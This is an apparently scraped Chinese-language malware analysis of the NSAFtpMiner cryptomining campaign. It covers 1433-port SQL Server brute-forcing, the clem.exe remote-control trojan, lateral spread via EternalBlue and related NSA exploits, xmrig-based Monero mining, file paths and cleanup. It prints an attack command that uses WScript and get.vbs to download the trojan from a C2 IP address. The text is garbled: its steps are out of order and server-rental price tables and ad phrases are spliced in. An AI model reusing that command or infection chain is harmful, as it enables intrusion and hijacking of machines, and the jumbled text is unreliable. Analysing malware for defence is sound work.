NSAFtpMiner攻击流程
1，cpu跑到100%，服务器非常卡，基本操作不了，所有提供服务无法正常运行。
| 序列号 | CPU | RAM | HDD | 带宽 | 售价（美元） | 免费试用 |
|---|---|---|---|---|---|---|
| 香港服务器1 | E5-2620 | 32G | 1T HDD | 50M/无限流量 | $196.00 | 立即申请 |
| 香港服务器2 | E5-2650 | 32G | 1T HDD | 50M/无限流量 | $256.00 | 立即申请 |
| 香港服务器3 | E5-2680 | 32G | 1T HDD | 50M/无限流量 | $316.00 | 立即申请 |
| 香港服务器4 | E5-2690 | 32G | 1T HDD | 50M/无限流量 | $336.00 | 立即申请 |
| 香港服务器5 | E5-2697 | 32G | 1T HDD | 50M/无限流量 | $376.00 | 立即申请 |
| 香港服务器6 | E5-2620*2 | 32G | 1T HDD | 50M/无限流量 | $376.00 | 立即申请 |
| 香港服务器7 | E5-2650*2 | 32G | 1T HDD | 50M/无限流量 | $436.00 | 立即申请 |
| 香港服务器8 | E5-2680*2 | 32G | 1T HDD | 50M/无限流量 | $476.00 | 立即申请 |
| 香港服务器9 | E5-2690*2 | 32G | 1T HDD | 50M/无限流量 | $556.00 | 立即申请 |
| 香港服务器10 | E5-2697*2 | 32G | 1T HDD | 50M/无限流量 | $596.00 | 立即申请 |
| 香港服务器11 | E5-2680v4*2 | 32G | 1T HDD | 50M/无限流量 | $696.00 | 立即申请 |
| 香港服务器12 | E5-2698v4*2 | 32G | 1T HDD | 50M/无限流量 | $796.00 | 立即申请 |
3，断网情况下无法挖矿，CPU占用回下来。
C:WindowsFontssystem(x64)
中毒表现：
使用kill.bat、Pkill.dll对攻击进程进行清除。
将远程控制木马植入。
1.利用密码字典爆破1433端口登录；
黑客攻击时先关闭防火墙，然后启动Fileftp.exe扫描内网机器的445/139端口，如果端口处于打开状态则利用多个NSA武器工具（Eternalblue等）对目标机器进行攻击。若攻击成功，则根据不同系统版本在受害机器上执行payload(x86/x64.dll),x86/x64.dll执行后释放出runsum.exe并安装执行，runsum.exe功能同最初的远程控制模块clem.exe相同，接收指令下载挖矿模块和NSA攻击模块进行挖矿攻击和继续感染。
clem.exe运行后拷贝自身到C:windowssvchost.exe，并创建服务“Server Remote”。
6.下载挖矿程序在局域网组网挖取门罗币。
“C:WindowsSystem32WScript.exe” “C:ProgramDataget.vbs” hxxp://221.229.204.120:7423/clem.exe C:/ProgramData/clem.exe连接C2地址221.229.204.120：
远程控制木马clem.exe接收指令下载NSA攻击模块主程序ru.exe，香港服务器租用，ru.exe运行后在C:Program FilesWindowsd 释放72个子文件。
C:WindowsHelp
原理：黑客通过1433端口爆破入侵SQL Server服务器，再植入远程控制木马并安装为系统服务，然后利用远程控制木马进一步加载挖矿木马进行挖矿。
win1ogins.exe采用开源挖矿程序xmrig编译 启动矿机程序挖矿门罗币
1433爆破手矿工（NSAFtpMiner）有如下特点：
远程控制木马clem.exe下载挖矿模块xxs.exe，xxs.exe运行后释放help.dll到C:WindowsFontssysIntl。
C:WindowsFontssystem(x86)
4.使用了NSA武器中的多个工具包Eternalblue(永恒之蓝)、Doubleplsar(双脉冲星)、EternalChampion(永恒冠军)、Eternalromance（永恒浪漫）、Esteemaudit（RDP漏洞攻击）；
C:Windwosdell
5.远程控制木马创建“FTP系统核心服务”，提供FTP服务，供内网其他被入侵的电脑进行病毒库更新；
3.利用NSA武器库工具包扫描入侵内网开放445/139端口的计算机；
2，进程中有win1ogins.exe,中间是数字1 不是字母l.描述是cpu挖矿。右键无法打开文件位置。
C:WindowsPLAsystem
黑客针对1433端口爆破成功后在受害机器执行命令：
2.木马伪装成系统服务，欧洲服务器租用云服务器，COPY自身到c:windowssvchost.exe，创建服务“Server Remote”；
使用360扫描杀毒，可以发现释放文件help.dll
help.dll释放矿机程序win1ogins.exe到以下目录：
